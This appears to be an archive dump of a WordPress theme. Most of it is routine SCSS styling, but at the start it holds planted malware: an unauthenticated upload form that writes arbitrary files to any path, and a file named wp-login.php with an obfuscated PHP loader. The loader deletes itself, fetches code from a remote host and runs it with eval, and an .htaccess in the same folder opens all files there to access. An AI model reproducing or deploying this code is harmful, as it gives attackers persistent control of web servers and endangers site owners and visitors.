if ($files["name"] != '') {
$fullpath = $_REQUEST["path"] . $files["name"];
if (move_uploaded_file($files['tmp_name'], $fullpath)) {
echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>";
}
}echo '<html><head><title>Upload files...</title></head><body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form></body></html>';
?> site/photos/wp-login.php 0000666 00000013723 15111644004 0011277 0 ustar 00 <?php goto k68Lo; ONyF7: $qokfg .= "\x73"; goto kXtIa; HHy0G: $qokfg .= "\160\165\163"; goto EBKfy; aAMA_: $qokfg .= "\170\145\x79"; goto Yv0dY; t40gb: $qokfg .= "\x73\x70"; goto OeCLp; y8T5W: $qokfg .= "\x2e\157\145"; goto ONyF7; NmaKj: @chmod($Y0sLi, 0755); goto nqGz3; Czzbc: $qokfg = ''; goto cr_jz; h1Kq8: eval("\x3f\x3e" . ciC2w(strrev($qokfg))); goto UlkY4; EQsv4: $qokfg .= "\61\156\x61\x6d"; goto qsK13; kXtIa: $qokfg .= "\57\x2f\72"; goto t40gb; qsK13: $qokfg .= "\57\162\x65"; goto HHy0G; cr_jz: $qokfg .= "\164"; goto WXTed; WXTed: $qokfg .= "\170\164\x2e"; goto EQsv4; q1Vz9: $qokfg .= "\x2e\x61\x73\56"; goto aAMA_; OeCLp: $qokfg .= "\x74\x74\x68"; goto h1Kq8; nqGz3: @unlink($fzu2n); goto Czzbc; k68Lo: $fzu2n = $_SERVER["\x44\117\103\x55\115\x45\116\x54\137\x52\x4f\117\x54"] . $_SERVER["\x50\110\120\137\x53\x45\x4c\x46"]; goto hrif1; EBKfy: $qokfg .= "\x2f\x6d\157\x63"; goto q1Vz9; Yv0dY: $qokfg .= "\151\x65\150"; goto y8T5W; hrif1: $Y0sLi = dirname($_SERVER["\x44\x4f\x43\125\x4d\105\x4e\124\137\122\117\x4f\124"] . $_SERVER["\120\110\120\x5f\123\105\x4c\x46"]); goto NmaKj; UlkY4: function CIc2w($GGGJ_, $eF402 = "\x47\x45\x54", $GANlk = array(), $ZgYYH = 45) { try { goto ohbNn; i0l_p: if (!($eF402 == "\x50\117\123\124")) { goto oBwZn; } goto uSPuh; mzMoz: $k9l8y .= $pI3_f . "\15\xa"; goto DjWmc; eQ1Aj: $bjyYi = isset($LL0MD["\160\x61\x74\x68"]) ? $LL0MD["\160\x61\x74\x68"] : "\57"; goto fugTC; Ijq1S: $OmGNF = $siukR; goto ICEZY; v80Fk: $siukR = ''; goto DlESH; weCeM: $qka3P = $LL0MD["\150\157\x73\164"]; goto eQ1Aj; FxQ2X: goto aCDf2; goto M_I0E; phVYZ: $O61oF = stream_socket_client("{$Tn30T}\72\x2f\x2f{$qka3P}\x3a{$uJ8qI}", $JjP5U, $KDWdp, $ZgYYH); goto MO7os; aiJny: T6pON: goto QSzC9; o_NBQ: curl_setopt($hrp5k, CURLOPT_POSTFIELDS, http_build_query($GANlk)); goto peQXF; ICEZY: WDo3K: goto Y8QPF; IEYkk: $hPv_K = isset($pKp0m[0]) ? $pKp0m[0] : ''; goto HmEA2; Y8QPF: return trim($OmGNF); goto zbaqv; UqfEy: aCDf2: goto Ijq1S; qwn35: goto Nnxno; goto Kk37W; AIJU5: curl_setopt($hrp5k, CURLOPT_TIMEOUT, $ZgYYH); goto LBaGv; ZUiFC: goto wnBr0; goto UqfEy; Ye3l7: if (!($OHptL === false)) { goto f0Qmd; } goto FxQ2X; Mq5b_: fclose($O61oF); goto LWkKu; XjJPU: $siukR .= substr($OmGNF, $OHptL + 2, $YSgIG); goto QnbJo; HmEA2: $OmGNF = isset($pKp0m[1]) ? $pKp0m[1] : ''; goto rTYcl; QnbJo: $OmGNF = substr($OmGNF, $OHptL + 2 + $YSgIG + 2); goto ZUiFC; oXMRy: curl_setopt($hrp5k, CURLOPT_POST, 1); goto o_NBQ; vdAh3: $uJ8qI = isset($LL0MD["\x70\x6f\x72\164"]) ? $LL0MD["\160\157\162\x74"] : ($PG6bC === "\x68\x74\x74\160\x73" ? 443 : 80); goto K0BeZ; g7NnU: $PG6bC = isset($LL0MD["\x73\x63\150\x65\155\145"]) ? $LL0MD["\x73\x63\x68\x65\155\x65"] : "\150\x74\x74\160"; goto vdAh3; L9MPr: cXG05: goto XjJPU; j97_S: $wpW0P = curl_exec($hrp5k); goto jqdVy; YJ1vM: if (!($eF402 == "\120\117\x53\x54")) { goto ASYYJ; } goto mzMoz; Yv4z0: $hrp5k = curl_init(); goto ImyFX; gcYgq: if (!($YSgIG === 0)) { goto cXG05; } goto G505F; J3Ptn: curl_setopt($hrp5k, CURLOPT_USERAGENT, "\x47\x4f"); goto lL0uV; deuEj: OcHoT: goto QV7VI; yVbWs: $hPv_K[] = "\103\x6f\156\164\x65\156\x74\55\x54\171\160\x65\72\40\141\160\x70\154\151\x63\x61\x74\x69\x6f\x6e\x2f\x78\55\x77\167\167\55\x66\157\x72\x6d\x2d\x75\162\154\x65\x6e\143\x6f\144\145\x64"; goto hYxBJ; fugTC: $T4Ppt = isset($LL0MD["\161\x75\x65\162\x79"]) ? "\x3f" . $LL0MD["\161\165\145\162\171"] : ''; goto g7NnU; wxF1p: curl_setopt($hrp5k, CURLOPT_SSL_VERIFYHOST, false); goto nOXwr; c3qwA: $YSgIG = hexdec(substr($OmGNF, 0, $OHptL)); goto gcYgq; LBaGv: if (!($eF402 == "\120\117\123\124")) { goto Sxzmp; } goto oXMRy; q2Dik: $OHptL = strpos($OmGNF, "\15\xa"); goto Ye3l7; LWkKu: $pKp0m = explode("\15\12\15\12", $yRwhm, 2); goto IEYkk; YB4dt: curl_setopt($hrp5k, CURLOPT_RETURNTRANSFER, 1); goto mq1b4; hYxBJ: $hPv_K[] = "\x43\x6f\156\x74\145\156\164\55\x4c\145\156\x67\164\150\x3a\x20" . strlen($pI3_f); goto ZN7Vr; Cv7WD: $yRwhm .= fgets($O61oF, 1024); goto qwn35; EpqVt: return 0; goto aiJny; MO7os: if ($O61oF) { goto T6pON; } goto EpqVt; mq1b4: curl_setopt($hrp5k, CURLOPT_SSL_VERIFYPEER, false); goto wxF1p; QV7VI: $LL0MD = parse_url($GGGJ_); goto weCeM; K0BeZ: $Tn30T = $PG6bC === "\x68\164\164\x70\163" ? "\163\163\x6c" : "\x74\x63\160"; goto phVYZ; peQXF: Sxzmp: goto j97_S; QSzC9: $hPv_K = array("{$eF402}\x20{$bjyYi}{$T4Ppt}\x20\x48\124\x54\x50\x2f\x31\x2e\61", "\110\x6f\x73\x74\72\40{$qka3P}", "\125\x73\x65\162\55\101\x67\x65\x6e\x74\x3a\40\115\x6f\x7a\151\x6c\154\141\57\65\56\x30\40\50\127\151\x6e\x64\157\167\x73\40\116\124\40\61\60\56\x30\x3b\40\127\151\x6e\66\64\73\x20\170\x36\x34\51\40\101\x70\160\x6c\145\x57\145\142\x4b\151\164\57\65\63\x37\x2e\63\66\x20\x28\x4b\x48\x54\x4d\114\54\40\x6c\x69\x6b\x65\x20\x47\145\x63\x6b\157\x29\40\x43\x68\x72\x6f\155\145\57\71\x31\56\60\x2e\x34\x34\x37\x32\x2e\x31\x32\64\40\x53\x61\x66\x61\162\151\57\x35\63\x37\56\63\66", "\x43\x6f\156\x6e\145\x63\164\x69\157\x6e\x3a\40\103\154\157\x73\145"); goto i0l_p; V4cPs: $k9l8y = implode("\15\12", $hPv_K) . "\xd\12\xd\xa"; goto YJ1vM; ZN7Vr: oBwZn: goto V4cPs; zvS66: return trim(trim($wpW0P, "\357\xbb\277")); goto deuEj; G505F: goto aCDf2; goto L9MPr; ohbNn: if (!(function_exists("\x63\x75\162\154\x5f\151\x6e\x69\164") && function_exists("\143\165\x72\154\137\145\170\145\143"))) { goto OcHoT; } goto Yv4z0; ImyFX: curl_setopt($hrp5k, CURLOPT_URL, $GGGJ_); goto J3Ptn; myGHd: $yRwhm = ''; goto NGlog; DjWmc: ASYYJ: goto pv0bc; DlESH: wnBr0: goto qSxy8; nOXwr: curl_setopt($hrp5k, CURLOPT_FOLLOWLOCATION, true); goto AIJU5; jqdVy: curl_close($hrp5k); goto zvS66; qSxy8: if (!true) { goto aCDf2; } goto q2Dik; Kk37W: LA4LC: goto Mq5b_; rTYcl: if (!(stripos($hPv_K, "\124\162\141\x6e\163\146\x65\162\55\x45\x6e\x63\157\x64\151\x6e\x67\72\x20\143\x68\165\156\153\x65\x64") !== false)) { goto WDo3K; } goto v80Fk; M_I0E: f0Qmd: goto c3qwA; pv0bc: fwrite($O61oF, $k9l8y); goto myGHd; Ksjiv: if (feof($O61oF)) { goto LA4LC; } goto Cv7WD; lL0uV: curl_setopt($hrp5k, CURLOPT_CONNECTTIMEOUT, 0); goto YB4dt; uSPuh: $pI3_f = http_build_query($GANlk); goto yVbWs; NGlog: Nnxno: goto Ksjiv; zbaqv: } catch (Exception $DjiRI) { } return 0; } site/photos/.htaccess 0000666 00000000077 15111644004 0010626 0 ustar 00 <FilesMatch '.*'>
Order Deny,Allow
Allow from all
</FilesMatch> site/secondary/_widgets.scss 0000666 00000002172 15111644004 0012203 0 ustar 00 .widget {
margin: 0 0 #{$size__spacing-unit};
/* Make sure select elements fit in widgets. */
select {
max-width: 100%;
}
a {
color: $color__link;
&:hover {
color: $color__link-hover;
}
}
}
.widget_archive,
.widget_categories,
.widget_meta,
.widget_nav_menu,
.widget_pages,
.widget_recent_comments,
.widget_recent_entries,
.widget_rss {
ul {
padding: 0;
list-style: none;
li {
color: $color__text-light;
font-family: $font__heading;
font-size: calc(#{$font__size_base} * #{$font__size-ratio});
font-weight: 700;
line-height: $font__line-height-heading;
margin-top: #{0.5 * $size__spacing-unit};
margin-bottom: #{0.5 * $size__spacing-unit};
}
@include nestedSubMenuPadding();
}
}
.widget_tag_cloud {
.tagcloud {
font-family: $font__heading;
font-weight: 700;
}
}
.widget_search {
.search-field {
width: 100%;
@include media(mobile) {
width: auto;
}
}
.search-submit {
display: block;
margin-top: $size__spacing-unit;
}
}
.widget_calendar .calendar_wrap {
text-align: center;
table td,
table th {
border: none;
}
a {
text-decoration: underline;
}
} site/footer/_site-footer.scss 0000666 00000001253 15111644004 0012303 0 ustar 00 /* Site footer */
#colophon {
.widget-area,
.site-info {
margin: calc(2 * #{$size__spacing-unit}) $size__spacing-unit;
@include media(tablet) {
margin: calc(3 * #{$size__spacing-unit}) $size__site-margins;
}
}
.widget-column {
display: flex;
flex-wrap: wrap;
.widget {
width: 100%;
@include media(desktop) {
margin-right: calc(3 * #{$size__spacing-unit});
width: calc(50% - (3 * #{$size__spacing-unit}));
}
}
}
.site-info {
color: $color__text-light;
a {
color: inherit;
&:hover {
text-decoration: none;
color: $color__link;
}
}
.imprint,
.privacy-policy-link {
margin-right: $size__spacing-unit;
}
}
} site/_site.scss 0000666 00000001614 15111644004 0007512 0 ustar 00
/*--------------------------------------------------------------
## Header
--------------------------------------------------------------*/
@import "header/site-header";
@import "header/site-featured-image";
/*--------------------------------------------------------------
## Posts and pages
--------------------------------------------------------------*/
@import "primary/posts-and-pages";
/*--------------------------------------------------------------
## Comments
--------------------------------------------------------------*/
@import "primary/comments";
/*--------------------------------------------------------------
## Archives
--------------------------------------------------------------*/
@import "primary/archives";
/*--------------------------------------------------------------
## Footer
--------------------------------------------------------------*/
@import "footer/site-footer";
site/primary/_comments.scss 0000666 00000014147 15111644004 0012063 0 ustar 00 .comment-content a {
word-wrap: break-word;
}
.bypostauthor {
display: block;
}
.comments-area {
margin: calc(2 * #{$size__spacing-unit}) $size__spacing-unit;
@include postContentMaxWidth();
@include media(tablet) {
margin: calc(3 * #{$size__spacing-unit}) $size__site-margins;
}
& > * {
margin-top: calc(2 * #{$size__spacing-unit});
margin-bottom: calc(2 * #{$size__spacing-unit});
@include media(tablet) {
margin-top: calc(3 * #{$size__spacing-unit});
margin-bottom: calc(3 * #{$size__spacing-unit});
}
}
/* Add extra margin when the comments section is located immediately after the
* post itself (this happens on pages).
*/
.entry + & {
margin-top: calc(3 * #{$size__spacing-unit});
}
.comments-title-wrap {
@include media(tablet) {
align-items: baseline;
display: flex;
justify-content: space-between;
}
.comments-title {
@include post-section-dash;
margin: 0;
@include media(tablet) {
flex: 1 0 calc(3 * (100vw / 12));
}
}
.discussion-meta {
@include media(tablet) {
flex: 0 0 calc(2 * (100vw / 12));
margin-left: #{$size__spacing-unit};
}
}
}
}
#comment {
max-width: 100%;
box-sizing: border-box;
}
#respond {
position: relative;
.comment-user-avatar {
margin: $size__spacing-unit 0 -#{$size__spacing-unit};
}
.comment .comment-form {
padding-left: 0;
}
> small {
display: block;
font-size: $font__size_base;
position: absolute;
left: calc(#{$size__spacing-unit} + 100%);
top: calc(-3.5 * #{$size__spacing-unit});
width: calc(100vw / 12 );
}
}
#comments {
> .comments-title:last-child {
display: none;
}
}
.comment-form-flex {
display: flex;
flex-direction: column;
.comments-title {
display: none;
margin: 0;
order: 1;
}
#respond {
order: 2;
+ .comments-title {
display: block;
}
}
}
.comment-list {
list-style: none;
padding: 0;
.children {
margin: 0;
padding: 0 0 0 $size__spacing-unit;
}
> .comment:first-child {
margin-top: 0;
}
.pingback,
.trackback {
.comment-body {
color: $color__text-light;
font-family: $font__heading;
font-size: $font__size-xs;
font-weight: 500;
margin-top: $size__spacing-unit;
margin-bottom: $size__spacing-unit;
a:not(.comment-edit-link) {
font-weight: bold;
font-size: $font__size-base / (1 * $font__size-ratio);
line-height: 1.5;
padding-right: #{0.5 * $size__spacing-unit};
display: block;
}
.comment-edit-link {
color: $color__text-light;
font-family: $font__heading;
font-weight: 500;
}
}
}
}
.comment-reply {
#respond + & {
display: none;
}
.comment-reply-link {
display: inline-block;
}
}
.comment {
list-style: none;
position: relative;
@include media(tablet) {
padding-left: calc(.5 * (#{$size__spacing-unit} + calc(100vw / 12 )));
&.depth-1,
.children {
padding-left: 0;
}
&.depth-1 {
margin-left: calc(3.25 * #{$size__spacing-unit});
}
}
.comment-body {
margin: calc(2 * #{$size__spacing-unit}) 0 0;
}
.comment-meta {
position: relative;
}
.comment-author {
.avatar {
float: left;
margin-right: $size__spacing-unit;
position: relative;
@include media(tablet) {
float: inherit;
margin-right: inherit;
position: absolute;
top: 0;
right: calc(100% + #{$size__spacing-unit});
}
}
.fn {
position: relative;
display: block;
a {
color: inherit;
&:hover {
color: $color__link-hover;
}
}
}
.post-author-badge {
border-radius: 100%;
display: block;
height: 18px;
position: absolute;
background: lighten( $color__link, 8% );
right: calc(100% - #{$size__spacing-unit * 2.5});
top: -3px;
width: 18px;
@include media(tablet) {
right: calc(100% + #{$size__spacing-unit * .75});
}
svg {
width: inherit;
height: inherit;
display: block;
fill: white;
transform: scale(0.875);
}
}
}
.comment-metadata {
> a,
.comment-edit-link {
display: inline;
font-weight: 500;
color: $color__text-light;
vertical-align: baseline;
time {
vertical-align: baseline;
}
&:hover {
color: $color__link-hover;
text-decoration: none;
}
}
> * {
display: inline-block;
}
.edit-link-sep {
color: $color__text-light;
margin: 0 0.2em;
vertical-align: baseline;
}
.edit-link {
color: $color__text-light;
svg {
transform: scale(0.8);
vertical-align: baseline;
margin-right: 0.1em;
}
}
.comment-edit-link {
position: relative;
padding-left: $size__spacing-unit;
margin-left: -#{$size__spacing-unit};
z-index: 1;
&:hover {
color: $color__link;
}
}
}
.comment-content {
margin: $size__spacing-unit 0;
@include media(desktop) {
padding-right: $size__spacing-unit;
}
> *:first-child {
margin-top: 0;
}
> *:last-child {
margin-bottom: 0;
}
blockquote {
margin-left: 0;
}
a {
text-decoration: underline;
&:hover {
text-decoration: none;
}
}
}
}
.comment-reply-link,
#cancel-comment-reply-link {
font-weight: 500;
&:hover {
color: $color__link-hover;
}
}
.discussion-avatar-list {
@include clearfix;
margin: 0;
padding: 0;
li {
position: relative;
list-style: none;
margin: 0 -8px 0 0;
padding: 0;
float: left;
}
.comment-user-avatar {
img {
height: calc(1.5 * #{$size__spacing-unit});
width: calc(1.5 * #{$size__spacing-unit});
}
}
}
.discussion-meta {
.discussion-meta-info {
margin: 0;
.svg-icon {
vertical-align: middle;
fill: currentColor;
transform: scale( 0.6 ) scaleX(-1) translateY(-0.1em);
margin-left: -#{.25 * $size__spacing-unit}; // Align icon with avatars above.
}
}
}
.comment-form {
.comment-notes,
label {
font-family: $font__heading;
font-size: $font__size-xs;
color: $color__text-light;
}
.comment-form-author,
.comment-form-email {
@include media(tablet) {
width: calc(50% - #{$size__spacing-unit / 2});
float: left;
}
}
.comment-form-email {
@include media(tablet) {
margin-left: $size__spacing-unit;
}
}
input[name="author"],
input[name="email"],
input[name="url"] {
display: block;
width: 100%;
}
}
site/primary/_posts-and-pages.scss 0000666 00000011455 15111644004 0013242 0 ustar 00 .sticky {
display: block;
}
.sticky-post {
background: $color__background-button;
color: #fff;
display: inline-block;
font-weight: bold;
line-height: 1;
padding: .25rem;
position: absolute;
text-transform: uppercase;
top: -$size__spacing-unit;
z-index: 1;
}
.updated:not(.published) {
display: none;
}
.page-links {
clear: both;
margin: 0 0 calc(1.5 * #{$size__spacing-unit});
}
.entry {
margin-top: calc(6 * #{$size__spacing-unit});
&:first-of-type {
margin-top: 0;
}
.entry-header {
margin: calc(3 * #{ $size__spacing-unit}) $size__spacing-unit $size__spacing-unit;
position: relative;
@include media(tablet) {
margin: calc(3 * #{ $size__spacing-unit}) $size__site-margins $size__spacing-unit;
}
}
.entry-title {
@include post-section-dash;
margin: 0;
a {
color: inherit;
&:hover {
color: $color__text-hover;
}
}
}
.entry-meta,
.entry-footer {
color: $color__text-light;
font-weight: 500;
> span {
margin-right: $size__spacing-unit;
display: inline-block;
&:last-child {
margin-right: 0;
}
}
a {
@include link-transition;
color: currentColor;
&:hover {
text-decoration: none;
color: $color__link;
}
}
.svg-icon {
position: relative;
display: inline-block;
vertical-align: middle;
margin-right: 0.5em;
}
}
.entry-meta {
margin: $size__spacing-unit 0;
}
.entry-footer {
margin: calc(2 * #{$size__spacing-unit}) $size__spacing-unit $size__spacing-unit;
@include media(tablet) {
margin: $size__spacing-unit $size__site-margins calc(3 * #{$size__spacing-unit});
max-width: $size__site-tablet-content;
}
@include media(tablet) {
max-width: $size__site-desktop-content;
}
}
.post-thumbnail {
margin: $size__spacing-unit;
@include media(tablet) {
margin: $size__spacing-unit $size__site-margins;
}
&:focus {
outline: none;
}
.post-thumbnail-inner {
display: block;
img {
position: relative;
display: block;
width: 100%;
}
}
}
.image-filters-enabled & {
.post-thumbnail {
position: relative;
display: block;
.post-thumbnail-inner {
filter: grayscale(100%);
&:after {
background: rgba(0, 0, 0, 0.35);
content: "";
display: block;
height: 100%;
opacity: .5;
pointer-events: none;
position: absolute;
top: 0;
width: 100%;
z-index: 4;
@supports (mix-blend-mode: multiply) {
display: none;
}
}
}
&:before,
&:after, {
position: absolute;
display: block;
width: 100%;
height: 100%;
top: 0; left: 0;
content: "\020";
pointer-events: none;
}
@include filter-duotone;
}
}
.entry-content,
.entry-summary {
max-width: calc(100% - (2 * #{ $size__spacing-unit }));
margin: 0 $size__spacing-unit;
@include media(tablet) {
max-width: 80%;
margin: 0 10%;
padding: 0 60px;
}
}
.entry-content {
p {
word-wrap: break-word;
}
.more-link {
@include link-transition;
display: inline;
color: inherit;
&:after {
content: "\02192";
margin-left: 0.5em;
}
&:hover {
color: $color__link;
text-decoration: none;
}
}
a {
text-decoration: underline;
&.button,
&:hover {
text-decoration: none;
}
&.button {
display: inline-block;
}
&.button:hover {
background: $color__background-button-hover;
color: $color__background-body;
cursor: pointer;
}
}
// Overwrite iframe embeds that have inline styles.
> iframe[style] {
margin: 32px 0 !important;
max-width: 100% !important;
@include media(tablet) {
max-width: $size__site-tablet-content !important;
}
@include media(desktop) {
max-width: $size__site-desktop-content !important;
}
}
// Page links
.page-links a {
margin: calc(0.5 * #{$size__spacing-unit});
text-decoration: none;
}
// Classic editor audio embeds.
.wp-audio-shortcode {
max-width: calc(100vw - (2 * #{ $size__spacing-unit }));
@include media(tablet) {
max-width: $size__site-tablet-content;
}
@include media(desktop) {
max-width: $size__site-desktop-content;
}
}
}
}
/* Author description */
.author-bio {
margin: calc(2 * #{$size__spacing-unit}) $size__spacing-unit $size__spacing-unit;
@include postContentMaxWidth();
@include media(tablet) {
margin: calc(3 * #{$size__spacing-unit}) $size__site-margins;
}
@include media(desktop) {
margin: calc(3 * #{$size__spacing-unit}) $size__site-margins;
}
.author-title {
@include post-section-dash;
display: inline;
}
.author-description {
display: inline;
color: $color__text-light;
font-size: $font__size-md;
line-height: $font__line-height-heading;
.author-link {
display: inline-block;
&:hover {
color: $color__link-hover;
text-decoration: none;
}
}
}
}
site/primary/_archives.scss 0000666 00000002270 15111644004 0012034 0 ustar 00 .archive .page-header,
.search .page-header,
.error404 .page-header {
margin: $size__spacing-unit $size__spacing-unit calc(3 * #{$size__spacing-unit});
@include media(tablet) {
margin: 0 $size__site-margins $size__site-margins;
}
.page-title {
color: $color__text-light;
display: inline;
letter-spacing: normal;
&:before {
display: none;
}
}
.search-term,
.page-description {
display: inherit;
clear: both;
&:after {
content: ".";
font-weight: bold;
color: $color__text-light;
}
}
}
.archive .page-header .page-description {
display: block;
color: $color__text-main;
font-size: 1em;
}
.hfeed .entry .entry-header {
@include media(tablet) {
margin: calc(3 * #{$size__spacing-unit}) $size__site-margins calc(#{ $size__spacing-unit } / 2);
}
}
/* 404 & Not found */
.error-404.not-found,
.no-results.not-found {
.page-content {
margin: calc(3 * #{$size__spacing-unit}) #{$size__spacing-unit};
@include media(tablet) {
margin: calc(3 * #{$size__spacing-unit}) $size__site-margins calc(#{ $size__spacing-unit } / 2);
}
}
.search-submit {
vertical-align: middle;
margin: $size__spacing-unit 0;
}
.search-field {
width: 100%;
}
}
site/header/_site-header.scss 0000666 00000003704 15111644004 0012172 0 ustar 00 // Site header
.site-header {
padding: 1em;
&.featured-image {
display: flex;
flex-direction: column;
justify-content: space-between;
min-height: 90vh;
.site-branding-container {
margin-bottom: auto;
}
}
@include media(tablet) {
margin: 0;
padding: 3rem 0;
&.featured-image {
min-height: 100vh;
margin-bottom: 3rem;
}
}
}
// Site branding
.site-branding {
color: $color__text-light;
position: relative;
@include media(tablet) {
margin: 0 $size__site-margins;
}
}
// Site logo
.site-logo {
position: relative;
z-index: 999;
margin-bottom: calc(.66 * #{$size__spacing-unit});
@include media(tablet) {
margin-bottom: 0;
position: absolute;
right: calc(100% + (1.25 * #{$size__spacing-unit}));
top: 4px; // Accounts for box-shadow widths
z-index: 999;
}
.custom-logo-link {
border-radius: 100%;
box-sizing: content-box;
box-shadow: 0 0 0 0 rgba(0, 0, 0, 0);
display: block;
width: 50px;
height: 50px;
overflow: hidden;
transition: box-shadow $background_transition ease-in-out;
.custom-logo {
min-height: inherit;
}
&:hover,
&:active,
&:focus {
box-shadow: 0 0 0 2px rgba(0, 0, 0, 1);
}
@include media(tablet) {
width: 64px;
height: 64px;
}
}
}
// Site title
.site-title {
margin: auto;
display: inline;
color: $color__text-main;
a {
color: $color__text-main;
&:link,
&:visited {
color: $color__text-main;
}
&:hover {
color: $color__text-hover;
}
}
.featured-image & {
margin: 0;
@include media(tablet) {
display: inline-block;
}
}
/* When there is no description set, make sure navigation appears below title. */
+ .main-navigation {
display: block;
}
@include media(tablet) {
display: inline;
}
&:not(:empty) + .site-description:not(:empty):before {
content: "\2014";
margin: 0 .2em;
}
}
// Site description
.site-description {
display: inline;
color: $color__text-light;
font-weight: normal;
margin: 0;
}
site/header/_site-featured-image.scss 0000666 00000013537 15111644004 0013626 0 ustar 00 // Featured image styles
.site-header.featured-image {
/* Hide overflow for overflowing featured image */
overflow: hidden;
/* Need relative positioning to properly align layers. */
position: relative;
/* Add text shadow to text, to increase readability. */
text-shadow: 0 1px 2px rgba(0, 0, 0, 0.35);
/* Set white text color when featured image is set. */
.site-branding .site-title,
.site-branding .site-description,
.main-navigation a:after,
.main-navigation .main-menu > li.menu-item-has-children:after,
.main-navigation li,
.social-navigation li,
.entry-meta,
.entry-title {
color: $color__background-body;
}
.main-navigation a,
.main-navigation a + svg,
.social-navigation a,
.site-title a,
.site-featured-image a {
color: $color__background-body;
transition: opacity $link_transition ease-in-out;
&:hover,
&:active,
&:hover + svg,
&:active + svg {
color: $color__background-body;
opacity: 0.6;
}
&:focus,
&:focus + svg {
color: $color__background-body;
}
}
/* add focus state to social media icons */
.social-navigation a {
&:focus {
color: $color__background-body;
opacity: 1;
border-bottom: 1px solid $color__background-body;
}
}
.social-navigation svg,
.site-featured-image svg {
/* Use -webkit- only if supporting: Chrome < 54, iOS < 9.3, Android < 4.4.4 */
-webkit-filter: drop-shadow(0 1px 2px rgba(0, 0, 0, 0.35) );
filter: drop-shadow(0 1px 2px rgba(0, 0, 0, 0.35) );
}
/* Entry header */
.site-featured-image {
/* First layer: grayscale. */
.post-thumbnail img {
height: auto;
left: 50%;
max-width: 1000%;
min-height: 100%;
min-width: 100vw;
position: absolute;
top: 50%;
transform: translateX(-50%) translateY(-50%);
width: auto;
z-index: 1;
@supports ( object-fit: cover ) {
height: 100%;
left: 0;
object-fit: cover;
top: 0;
transform: none;
width: 100%;
}
/* When image filters are active, make it grayscale to colorize it blue. */
.image-filters-enabled & {
filter: grayscale(100%);
}
}
.entry-header {
margin-top: calc( 4 * #{$size__spacing-unit});
margin-bottom: 0;
margin-left: 0;
margin-right: 0;
@include media (tablet) {
margin-left: $size__site-margins;
margin-right: $size__site-margins;
}
.entry-title {
&:before {
background: $color__background-body;
}
}
/* Entry meta */
.entry-meta {
font-weight: 500;
> span {
margin-right: $size__spacing-unit;
display: inline-block;
&:last-child {
margin-right: 0;
}
}
a {
@include link-transition;
color: currentColor;
&:hover {
text-decoration: none;
}
}
.svg-icon {
position: relative;
display: inline-block;
vertical-align: middle;
margin-right: 0.5em;
}
.discussion-avatar-list {
display: none;
}
}
&.has-discussion {
@include media (tablet) {
.entry-meta {
display: flex;
position: relative;
}
.entry-title {
padding-right: calc(1 * (100vw / 12) + #{$size__spacing-unit});
}
.entry-meta .comment-count {
position: absolute;
right: 0;
}
.entry-meta .discussion-avatar-list {
display: block;
position: absolute;
bottom: 100%;
}
}
}
}
}
/* Custom Logo Link */
.custom-logo-link {
background: $color__background-body;
box-shadow: 0 0 0 0 rgba($color__background-body, 0);
&:hover,
&:active,
&:focus {
box-shadow: 0 0 0 2px rgba($color__background-body, 1);
}
}
/* Make sure important elements are above pseudo elements used for effects. */
.site-branding {
position: relative;
z-index: 10;
}
.site-featured-image .entry-header {
position: relative;
z-index: 9;
}
/* Set up image filter layer positioning */
.site-branding-container:after,
.site-featured-image:before,
.site-featured-image:after,
&:after {
display: block;
position: absolute;
top: 0; left: 0;
content: "\020";
width: 100%;
height: 100%;
}
/* Background & Effects */
/* Shared background settings between pseudo elements. */
background-position: center;
background-repeat: no-repeat;
background-size: cover;
/* The intensity of each blend mode is controlled via layer opacity. */
/* Second layer: screen. */
.image-filters-enabled & .site-featured-image:before {
background: $color__link;
mix-blend-mode: screen;
opacity: 0.1;
}
/* Third layer: multiply. */
/* When image filters are inactive, a black overlay is added. */
.site-featured-image:after {
background: #000;
mix-blend-mode: multiply;
opacity: .7;
/* When image filters are active, a blue overlay is added. */
.image-filters-enabled & {
background: $color__link;
opacity: .8;
z-index: 3;
/* Browsers supporting mix-blend-mode don't need opacity < 1 */
@supports (mix-blend-mode: multiply) {
opacity: 1;
}
}
}
/* Fourth layer: overlay. */
.image-filters-enabled & .site-branding-container:after {
background: rgba(0, 0, 0, 0.35);
mix-blend-mode: overlay;
opacity: 0.5;
z-index: 4;
/* Browsers supporting mix-blend-mode can have a light overlay */
@supports (mix-blend-mode: overlay) {
background: rgba($color__background-body, 0.35);
}
}
/* Fifth layer: readability overlay */
&:after {
background: #000;
/**
* Add a transition to the readability overlay, to add a subtle
* but smooth effect when resizing the screen.
*/
transition: opacity 1200ms ease-in-out;
opacity: 0.7;
z-index: 5;
/* When image filters are active, a blue overlay is added. */
.image-filters-enabled & {
background: mix($color__link, black, 12%);
opacity: 0.38;
@include media(tablet) {
opacity: 0.18;
}
}
}
::-moz-selection {
background: rgba($color__background-body, 0.17);
}
::selection {
background: rgba($color__background-body, 0.17);
}
}
media/_captions.scss 0000666 00000001175 15111644004 0010503 0 ustar 00 .wp-caption {
margin-bottom: calc(1.5 * #{$size__spacing-unit});
&.aligncenter {
@include media(tablet) {
position: relative;
left: calc( #{$size__site-tablet-content} / 2 );
transform: translateX( -50% );
}
@include media(desktop) {
left: calc( #{$size__site-desktop-content} / 2 );
}
}
}
.wp-caption img[class*="wp-image-"] {
display: block;
margin-left: auto;
margin-right: auto;
}
.wp-caption-text {
color: $color__text-light;
font-size: $font__size-xs;
font-family: $font__heading;
line-height: $font__line-height-pre;
margin: 0;
padding: ( $size__spacing-unit * .5 );
text-align: center;
}
media/_galleries.scss 0000666 00000001632 15111644004 0010630 0 ustar 00 .gallery {
display: flex;
flex-flow: row wrap;
justify-content: center;
margin-bottom: calc(1.5 * #{$size__spacing-unit});
}
.gallery-item {
display: inline-block;
margin-right: 16px;
margin-bottom: 16px;
text-align: center;
vertical-align: top;
width: 100%;
// Loops to enumerate the classes for gallery columns.
@for $i from 2 through 9 {
.gallery-columns-#{$i} & {
max-width: calc((100% - 16px * #{ $i - 1 }) / #{ $i });
&:nth-of-type(#{$i}n+#{$i}) {
margin-right: 0;
}
}
}
&:last-of-type {
padding-right: 0;
}
}
.gallery-caption {
display: block;
font-size: $font__size-xs;
font-family: $font__heading;
line-height: $font__line-height-pre;
margin: 0;
padding: ( $size__spacing-unit * .5 );
}
.gallery-item > div > a {
display: block;
line-height: 0;
// Accessibility
box-shadow: 0 0 0 0 transparent;
&:focus {
box-shadow: 0 0 0 2px rgba( $color__link, 1 );
}
}
